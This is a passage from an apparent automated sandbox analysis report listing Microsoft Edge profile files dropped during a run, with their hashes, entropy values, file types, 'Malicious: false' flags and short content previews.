SHA-512:	0CA7D77A4DAF2DF942B23AF642B9CB620128378D291B164E50BFD19EDC4E8DE14A8E7E5BAD964CE61D3BDB6CB81AD2C5DB8781DF897FB66833DBC1736F2AC06E
Malicious:	false
Preview:	..-.............Q.......q2.c....$J...V..pB.:....-.............Q.......q2.c....$J...V..pB.:..........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9340273749128957
Encrypted:	false
SSDEEP:	384:z9GnhRo/Yd4z2o++hy2y0pytjyCRyYxyz+:WP
MD5:	2096564B10F1E6435C2AA95BB8F29C48
SHA1:	65F461D4B502BD2E08CEC530A84508F75BBBF9EB
SHA-256:	94F4300CCF3E3E36117361794D464F9202D2BD3141AF070C2AFD6F5CFE9F0C0C
SHA-512:	040AB1191C82A808183B55D3D4A2FCA7E8A856B6D8AEE78D9D2721B7FAB7AF9E8A6DD742B831E406555107DDD9EDD3C4795E869987B4DC6348600F94078AE74E
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.223865382628748
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuu2Q/U8d:pHay9v
MD5:	130FB41E1DEFBE52D0033D610EC9FAE9
SHA1:	940122FA20C5D881F456EF5C154F46949608C7D9
SHA-256:	7F95D6CB8CF617BC376F1E8B5D0DCDA22FDC95B2E6F86582145B75B6C75F994D
SHA-512:	2CF0BE1C0FF44AF8DEAEBBBE9C8E06E4E1AE02DD132271A57E92D75FC6D511BADEB4E44A69B9B06CF7780371C8627B3AC84C8AD436AD1DB5A0C59D0CFE34A1C9
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................`.}0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.223188250455911
Encrypted:	false
SSDEEP:	6:ejnqWM+q2PN723oH+TcwtfrK+IFUt8Fjn81Zmw+Fj5lWMVkwON723oH+TcwtfrUQ:eGL+vVaYeb23FUt8F+/+FNlLV5OaYeb5
MD5:	A1D9F47B07314239D23BEA762A83CE4C
SHA1:	AB18318765E43E1881FFB44D9FC393444740476F
SHA-256:	8B11BF6744B8A155282DA3BD6965579FC115C415DB200CB430D0A5DAF6859F61
SHA-512:	83C1E345FB71A7D384BE47C20E86DFE2B95677D243A54B5115BB3554436C67BB31A997E64430CDECFCC7907178963159801743D6589C0CCE6E3957D408391C84
Malicious:	false
Preview:	2024/10/29-23:34:28.925 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/29-23:34:28.925 1d1c Recovering log #3.2024/10/29-23:34:28.926 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.223188250455911
Encrypted:	false
SSDEEP:	6:ejnqWM+q2PN723oH+TcwtfrK+IFUt8Fjn81Zmw+Fj5lWMVkwON723oH+TcwtfrUQ:eGL+vVaYeb23FUt8F+/+FNlLV5OaYeb5
MD5:	A1D9F47B07314239D23BEA762A83CE4C
SHA1:	AB18318765E43E1881FFB44D9FC393444740476F
SHA-256:	8B11BF6744B8A155282DA3BD6965579FC115C415DB200CB430D0A5DAF6859F61
SHA-512:	83C1E345FB71A7D384BE47C20E86DFE2B95677D243A54B5115BB3554436C67BB31A997E64430CDECFCC7907178963159801743D6589C0CCE6E3957D408391C84
Malicious:	false
Preview:	2024/10/29-23:34:28.925 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/29-23:34:28.925 1d1c Recovering log #3.2024/10/29-23:34:28.926 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.210946372692744
Encrypted:	false
SSDEEP:	6:ej0UiGFlWM+q2PN723oH+TcwtfrzAdIFUt8FjO5o1Zmw+FjO5+WMVkwON723oH++:exflL+vVaYeb9FUt8FSm/+FS+LV5OaY/
MD5:	5A7AF3B1A0BE989083CAEE8F6A645439
SHA1:	04AC11569BAE56BB92FE76F511F84A58D7AA2498
SHA-256:	8E316F37FD08A5525BA5A0D9159324144FE579983BF4EEEFF1BDD6C4D52B470A
SHA-512:	E2E9EC4BBC671EFBCD057B1C8B97CE12A6FB39E70FF53976AE3F16B86E397938232D43A99F943F48526FC843B62BB1775733877BE5C61D0AB5CB3FC292A2B1A3
Malicious:	false
Preview:	2024/10/29-23:34:28.786 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/29-23:34:28.843 1d1c Recovering log #3.2024/10/29-23:34:28.843 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.210946372692744
Encrypted:	false
SSDEEP:	6:ej0UiGFlWM+q2PN723oH+TcwtfrzAdIFUt8FjO5o1Zmw+FjO5+WMVkwON723oH++:exflL+vVaYeb9FUt8FSm/+FS+LV5OaY/
MD5:	5A7AF3B1A0BE989083CAEE8F6A645439
SHA1:	04AC11569BAE56BB92FE76F511F84A58D7AA2498
SHA-256:	8E316F37FD08A5525BA5A0D9159324144FE579983BF4EEEFF1BDD6C4D52B470A
SHA-512:	E2E9EC4BBC671EFBCD057B1C8B97CE12A6FB39E70FF53976AE3F16B86E397938232D43A99F943F48526FC843B62BB1775733877BE5C61D0AB5CB3FC292A2B1A3
Malicious:	false
Preview:	2024/10/29-23:34:28.786 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/29-23:34:28.843 1d1c Recovering log #3.2024/10/29-23:34:28.843 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089788325442508
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWpdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynj6kzItSmd6qE7lFoC
MD5:	C508B7FF43413DE6939BCAA5AA94556C
SHA1:	55EE9F2BE4BB3699FFEADB5A0BDBFF38041E0DF5
SHA-256:	6AC9994D24F1072DA9E2958A101842B4F397C118B65CE19173E00815777CCDBE
SHA-512:	23BB044E2925FDFF045EE6CA36642838FB5F845F2C70394CB83122F4269195CF483E03D450562BC635B2ABA431674A21DCD6240135FA920209CD33D2FEA59745
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a0e4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089788325442508
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWpdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynj6kzItSmd6qE7lFoC
MD5:	C508B7FF43413DE6939BCAA5AA94556C
SHA1:	55EE9F2BE4BB3699FFEADB5A0BDBFF38041E0DF5
SHA-256:	6AC9994D24F1072DA9E2958A101842B4F397C118B65CE19173E00815777CCDBE
SHA-512:	23BB044E2925FDFF045EE6CA36642838FB5F845F2C70394CB83122F4269195CF483E03D450562BC635B2ABA431674A21DCD6240135FA920209CD33D2FEA59745
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a133.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089788325442508
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWpdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynj6kzItSmd6qE7lFoC
MD5:	C508B7FF43413DE6939BCAA5AA94556C
SHA1:	55EE9F2BE4BB3699FFEADB5A0BDBFF38041E0DF5
SHA-256:	6AC9994D24F1072DA9E2958A101842B4F397C118B65CE19173E00815777CCDBE
SHA-512:	23BB044E2925FDFF045EE6CA36642838FB5F845F2C70394CB83122F4269195CF483E03D450562BC635B2ABA431674A21DCD6240135FA920209CD33D2FEA59745
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a2e8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089788325442508
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWpdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynj6kzItSmd6qE7lFoC
MD5:	C508B7FF43413DE6939BCAA5AA94556C
SHA1:	55EE9F2BE4BB3699FFEADB5A0BDBFF38041E0DF5
SHA-256:	6AC9994D24F1072DA9E2958A101842B4F397C118B65CE19173E00815777CCDBE
SHA-512:	23BB044E2925FDFF045EE6CA36642838FB5F845F2C70394CB83122F4269195CF483E03D450562BC635B2ABA431674A21DCD6240135FA920209CD33D2FEA59745
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c95c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089788325442508
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWpdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynj6kzItSmd6qE7lFoC
MD5:	C508B7FF43413DE6939BCAA5AA94556C
SHA1:	55EE9F2BE4BB3699FFEADB5A0BDBFF38041E0DF5
SHA-256:	6AC9994D24F1072DA9E2958A101842B4F397C118B65CE19173E00815777CCDBE
SHA-512:	23BB044E2925FDFF045EE6CA36642838FB5F845F2C70394CB83122F4269195CF483E03D450562BC635B2ABA431674A21DCD6240135FA920209CD33D2FEA59745
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF40423.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089788325442508
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWpdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynj6kzItSmd6qE7lFoC
MD5:	C508B7FF43413DE6939BCAA5AA94556C
SHA1:	55EE9F2BE4BB3699FFEADB5A0BDBFF38041E0DF5
SHA-256:	6AC9994D24F1072DA9E2958A101842B4F397C118B65CE19173E00815777CCDBE
SHA-512:	23BB044E2925FDFF045EE6CA36642838FB5F845F2C70394CB83122F4269195CF483E03D450562BC635B2ABA431674A21DCD6240135FA920209CD33D2FEA59745
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b37d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089788325442508
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWpdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynj6kzItSmd6qE7lFoC
MD5:	C508B7FF43413DE6939BCAA5AA94556C
SHA1:	55EE9F2BE4BB3699FFEADB5A0BDBFF38041E0DF5
SHA-256:	6AC9994D24F1072DA9E2958A101842B4F397C118B65CE19173E00815777CCDBE
SHA-512:	23BB044E2925FDFF045EE6CA36642838FB5F845F2C70394CB83122F4269195CF483E03D450562BC635B2ABA431674A21DCD6240135FA920209CD33D2FEA59745
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF50fd6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089788325442508
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWpdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynj6kzItSmd6qE7lFoC
MD5:	C508B7FF43413DE6939BCAA5AA94556C
SHA1:	55EE9F2BE4BB3699FFEADB5A0BDBFF38041E0DF5
SHA-256:	6AC9994D24F1072DA9E2958A101842B4F397C118B65CE19173E00815777CCDBE
SHA-512:	23BB044E2925FDFF045EE6CA36642838FB5F845F2C70394CB83122F4269195CF483E03D450562BC635B2ABA431674A21DCD6240135FA920209CD33D2FEA59745
Malicious:	false
